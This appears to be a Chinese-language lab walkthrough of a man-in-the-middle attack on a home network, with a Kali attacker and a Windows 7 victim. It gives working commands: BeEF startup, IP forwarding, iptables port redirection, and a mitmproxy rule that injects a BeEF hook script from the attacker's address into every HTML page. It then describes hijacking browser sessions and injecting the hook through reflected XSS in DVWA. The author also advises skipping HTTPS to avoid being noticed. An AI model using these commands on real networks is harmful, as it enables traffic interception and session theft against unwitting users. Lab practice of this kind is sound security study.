| 主机 | 身份 | ip |
|---|---|---|
| kali | 攻击方 | 192.168.8.219 |
| windows7 | 受害方 | 192.168.8.193 |
| 网关/家用路由 | 受害方 | 192.168.8.1 |
先开启beef的服务
1 | systemctl start beef-xss.service |
接着开启ip转发功能
1 | echo 1 > /proc/sys/net/ipv4/ip_forward |
使用iptables设置端口重定向
1 | iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 8080 |
笔者建议在玩中间人攻击时不要对https出手,因为很难成功,而且一旦失败(大部分时候,sslstrip已经没那么好用了),会导致受害方无法访问使用https的网站。容易被发现。
启动mitmproxy, 并设置在所有html respond 数据中插入beef勾子
1 | mitmproxy --anticache --showhost -p 8080 --mode transparent -R ":~s:</body>:<script src='http://192.168.8.219:3000/hook.js' type='text/javascript'></script></body>" |

运行上面这句会启动mitmproxy, 并把所有html respond 数据中把 替换成 <script src=’http://192.168.8.219:3000/hook.js‘ type=’text/javascript’>








当用户点击新的页面,代码才会执行,会把新的页面放在一个%100宽度,%100高度的iFrame中。下面是笔者点击了第一个新闻后的效果:












虽然图片和一些js没有加载成功,导致排版有些问题。但还是可以看到浏览器C通过Tunneling Proxy窃取了浏览器B中的会话。















修改成红线的两处的path就可以了。运行BeEF, 接着在windows7中用浏览器A访问metasploitable2 的dvwa。 把dvwa的安全调为低,接着使用xss reflected 来注入BeEF的钩子:

















